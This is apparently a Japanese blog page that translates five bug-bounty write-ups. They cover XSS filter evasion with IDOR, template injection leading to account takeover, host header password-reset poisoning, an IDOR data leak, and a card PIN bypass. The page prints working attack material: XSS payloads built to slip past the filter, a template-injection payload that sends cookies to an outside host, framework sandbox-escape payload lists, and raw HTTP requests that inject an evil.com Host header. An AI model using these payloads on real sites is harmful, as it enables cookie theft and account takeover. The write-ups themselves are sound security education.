Shikata Ga Nai

Private? There is no such things.

XSS Filter Evasion + IDORを訳してみた

Hello there, ('ω')ノ

 

XSSフィルター回避+IDORを。

 

脆弱性:

 XSS

 IDOR

 

記事:

 https://systemweakness.com/xss-filter-evasion-idor-3d4624758ff0

 

今回のサイトは、顧客を管理して請求書を発行できる。

オンライン支払い統合システムを提供していて。

多くのXSSやCSRFなどを報告しましたが、それらはすべて重複していて。

サイトの機能の一部をテストしているときに、次のようなURLに出くわして。

 /MerchantUser/create_customer/CUS-123456–A1B2C3

 

すぐにテストしたところ、IDOR攻撃に対して脆弱であることがわかって。

同じリンクをコピーして貼り付け、別のアカウントで開くと。

許可なくても、顧客の詳細を表示して編集することができて。

 

12文字の英数字の順列を総当たり攻撃することは実際には不可能ではありませんが。

非現実的で。

そこで、CustomerIDを列挙するための情報開示のバグを探すことに。

残念ながら、何も見つからなかったので。

XSSのエンドポイントをもう一度テストすることに。

 

搾取:

この時点で、このエンドポイントのXSSが実際に可能であることに気づいて。

フィルタがhtmlタグを自動的に削除するため、テストはせず。

PHPのstrip_tags関数を使用していると思って。

タグを使用できない場合は、タグを使用しないで。

 

顧客情報の変更を保存した後、<input>のvalue属性に保存されるので。

属性をエスケープしようとすると成功して。

 “> escaped?

 

 

現在、次のように解析されて。

 <input name=”…” class=”…” value=””>escaped? “>

 

次に、JavaScriptイベントハンドラを追加して、jsコマンドを挿入すると。

フィルターがあるので可能なすべてのイベントハンドラを削除して。

次に、HTMLタグをイベントハンドラと組み合わせるとどうなるか。

次のようなペイロードを思いついて。

 “ onmo<x>useover=”alert(document[‘cookie’])”>

 

フィルタには、onmouseoverイベントハンドラは表示されませんが。

htmlタグのみが表示されるので、下記のように保存されて。

 “ onmouseover=”alert(document[‘cookie’])”>

 

カーソルを合わせると、JavaScriptが実行されて。

まだ満足していないので、ユーザの操作を必要としないペイロードを入力して。

 “ onf<x>ocus=”alert(document[‘cookie’])” autofocus”>

 

IDORに対して脆弱な同じエンドポイントに保存されたXSSを取得して。

他のユーザのcustomerIDを「推測」することはできないため。

IDORを使用してXSSを使用してそれらをターゲットにして。

 

上記のXSSペイロードを情報として顧客を作成することで。

リンクをコピーしてターゲットに送信できて。

ターゲットがリンクを開くと、ブラウザで任意のJavaScriptを実行できるので。

これは、アカウントの乗っ取りや個人情報の盗用に。

エスカレートする可能性があって。

 

Best regards, (^^ゞ

C.S.T.I Lead To Account Takeover $$$を訳してみた

Hello there, ('ω')ノ

 

C.S.T.Iがアカウントの乗っ取りにつながるを。

 

脆弱性:

 CSTI

 アカウントの乗っ取り

 

記事:

 https://systemweakness.com/c-s-t-i-lead-to-account-takeover-f21ea07d9141

 

はじめに偵察するために131のドメインを持っていたので。

サブドメイン列挙に対してクイックコマンドを実行することに。

subfinder 、findomain、amass、assetfinderを使用してサブドメインを検索して。

deduplicatedを使用して重複を削除し、httpxを2回使用して。

 

https://github.com/Findomain/Findomain

 

https://github.com/nytr0gen/deduplicate

 

まず、2xxステータスコードを見つけるために。

httpxを実行して有効なサブドメインを検索して。

2xx.txtリストからスクリーンショットを撮って。

 

下記は、インジェクトで多くの脆弱性をテストすることにつながる。

魔法のペイロードで。

 `“‘><img src=x onerror=promtp(7)>`”’${{8*8}}

 

このペイロードは単純ですが。

HTMLインジェクション、XSS、C.S.T.I、S.S.T.Iをテストするのに役立って。

 

このサブドメインでは、会社のようなアカウントを作成して。

他のユーザを招待できて。

管理者は他のユーザを会社に招待できて。

一方、エンドポイントでは、通常のユーザと管理者がページを作成でき。

このページには多くの入力があり、写真などをアップロードできて。

 

ページの一部で魔法のペイロードを入力すると64を返したので脆弱であると判断し。

下記のペイロードを使用すると。

すべてのユーザのCookieを盗み、完全なアカウントを乗っ取ることができて。

{{constructor.constructor('new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;')()}}

 

下記を使用するとページをリダイレクトできて。

{{constructor.constructor('location.replace("https://Evil.com")')()}}

 

下記は、さまざまなJavaScriptライブラリのペイロードで。

 

AngularJS:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}

 

VueJS:

V3:

 {{_openBlock.constructor('alert(1)')()}}

V2:

 {{constructor.constructor('alert(1)')()}}

 

Mavo:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

 

Best regards, (^^ゞ

Host Header Injection Lead To Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

アカウント乗っ取りへのホストヘッダインジェクションを。

 

脆弱性:

 ホストヘッダーインジェクション

 パスワードリセットの欠陥

 アカウントの乗っ取り

 

記事:

 https://systemweakness.com/host-header-injection-lead-to-account-takeover-2f025a645d13

 

今回は、ワンクリックで他のユーザアカウントを引き継ぐように導く。

プライベート侵入テストプログラムでの発見について。

 

ワンクリックでアカウントの乗っ取りで、JSONでパラメータを検索し。

パスワードのリセットリンクのホストを変更する方法に気付いて。

 

まず、ウェブサイトを分析すると。

自分の電子メールアドレスで登録できますが。

電話番号などの完全なプロファイルを要求する情報は他になくて。

 

お気に入りのエンドポイントでは、パスワードを忘れた機能で。

メールアドレスを送信した後、次の方法で作成されたリンクを受け取って。

 

 1.ホスト

 2.パス

 3.トークン

 

ユーザアカウントを引き継ぐまでユーザトークンにアクセスしたいと思って。

このシナリオでは、ユーザがそれをクリックして。

パスワードリセットリンクのホストを変更すると。

ログにトークンがあって。

 

ホストヘッダインジェクションの脆弱性とは。

AcunetixとPortswiggerには、この脆弱性に関するいくつかの有用な情報があって。

この脆弱性は別の方法で使用できて。

 

重要な例:

 1.キャッシュポイズニング

 2.パスワードポイズニングのリセット

 

今回はパスワードポイズニングに焦点を当てることに。

 

この脆弱性をどのように検出するかというと。

アカウントを作成してからパスワードのリセットリンクを要求する必要があるため。

この脆弱性を自動化することはできず。

このシナリオは手動で行う必要があって。

 

ファジング用のツールを使用できないレート制限として。

難しい方法がある場合があって。

FUZZに役立つツールには、ParamminerとFFUFがあり。

SecListで、FUZZのための素晴らしいリストを見つけることができて。

 

最後に、パスワードをリセットしてリクエストをキャプチャし。

いくつかの一般的なヘッダをテストするように依頼したとき。

メインストーリーがあったので。

パスワードリセットのホストリンクを変更することができて。

 

POST /reset-password HTTP/1.1
Host: Site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://Site.com
Connection: close
Upgrade-Insecure-Requests: 1_token=S1zqDwFDGrnFQW1MfPJJ0ormBXAAi7DoSfdn8Pap&name=arman&email=attacker@evil.com

 

共通リストヘッダの1つを挿入し、400ステータスを戻して。

 

POST /reset-password HTTP/1.1
Host: Site.com
Host: evil.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://Site.com
Connection: close
Upgrade-Insecure-Requests: 1_token=S1zqDwFDGrnFQW1MfPJJ0ormBXAAi7DoSfdn8Pap&name=arman&email=attacker@evil.com

 

この位置の通常のバイパスの1つは、行の折り返しを追加することです。

 

POST /reset-password HTTP/1.1
 Host: Site.com
Host: evil.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://Site.com
Connection: close
Upgrade-Insecure-Requests: 1_token=S1zqDwFDGrnFQW1MfPJJ0ormBXAAi7DoSfdn8Pap&name=arman&email=attacker@evil.com

 

このバイパスを使用した後、200を取得し。

パスワードポイズニングのリセットリンクを受け取って。

 

Best regards, (^^ゞ

IDOR leads to leak Private Detailsを訳してみた

Hello there, ('ω')ノ

 

IDORは個人情報の漏洩につながるを。

 

脆弱性:

 IDOR

 

記事:

 https://infosecwriteups.com/idor-leads-to-leak-private-details-866563365490

 

IDORの脆弱性は、安全でない直接オブジェクト参照として知られていて。

安全でない直接オブジェクト参照(IDOR)は、アプリケーションが。

ユーザ提供の入力を使用してオブジェクトに直接アクセスするときに。

発生するアクセス制御の脆弱性の一種で。

 

ターゲットプログラムが、https://www.program.comであると仮定すると。

偵察プロセスを開始すると、ドメインが非常に少なくて。

 

下記のような小さなスコープのターゲットを見つけたときに実行して。

 1.Seclists githubリポジトリを使用したファジング:

  https://github.com/danielmiessler/SecLists

 

 

 2.Burp Suiteですべてのリクエストを手動でキャプチャして確認して。

 

上記のように、eclists githubリポジトリのワードリストをファジングし始め。

ターゲットWebサイトにアカウントを作成し。

Burp Suiteですべてのリクエストをキャプチャして。

それから、すべてのリクエストの分析を開始すると。

下記のエンドポイントがあることがわかって。

 /endpoint/id/info

 

面白そうだったので、すぐにこのリクエストをIntrudaerに送信して。

このエンドポイントで、Burp Suteでidを試すことに。

アカウントの作成時に、ターゲットプログラムは一意のIDを割り当てて。

 https://target.com/endpoint/xxxx/info

 

Intrudaerのペイロードにいくつかのワードリストをランダムに追加すると。

ID、auth_details、Org_name、Privateサブドメイン情報などの。

他のユーザの詳細が付属して。

 

Best regards, (^^ゞ

How i was able to bypass a Pin code Protectionを訳してみた

Hello there, ('ω')ノ

 

PINコード保護をバイパスできた方法を。

 

脆弱性:

 承認の欠陥

 

記事:

 https://xko2x.medium.com/how-i-was-able-to-bypass-a-pin-code-protection-8352295bb4fb

 

ターゲットに関する情報:

 仮想カードと物理カードを提供する金融会社で。

 

いくつかの調整とターゲットの理解を経て、仮想カードと物理カードを。

作成する機能を見つけて。

仮想カードを作成すると、他の手順なしでカードの詳細を。

読み取ることができることがわかって。

 

物理的なカードが異なると、カードの後ろにピンコードが必要になるので。

カードを配達せずにこれを行うことはできず。

 

それでは、PINコードリクエストを見ることに。

 

 

応答は下記のとおりで。

 

 

基本的にレート制限があるので、ブルートフォースはできず。

なので、javascriptを分析していると。

カードUUIDのみでカードをアクティブ化するエンドポイントが見つかって。

 

 

下記は、オリジナルのもので。

 

 

2つの違いはtruncated_pa​​n(ピンコード)で。

なので、このエンドポイントを試すことに。

下記がリクエストで。

 

 

下記は、応答で。

 

 

そしてうまくいって。

このリクエストが何のためにあるのかは。

調査の結果、ユーザが手動で仮想カードを無効にした場合に。

仮想カードをアクティブ化するためにこれを見つけて。


要約:

基本的には、カードのuuidを交換して、物理カードで。

仮想カードアクティブ化要求を使用してPINコード保護をバイパスして。


ペネトレーションテストのヒント:

常にjsファイルを読んで分析して。

そしてリクエストを見つけて読むことができるすべてのボタン/機能をクリックして。

これで何ができるかを考えて。

 

Best regards, (^^ゞ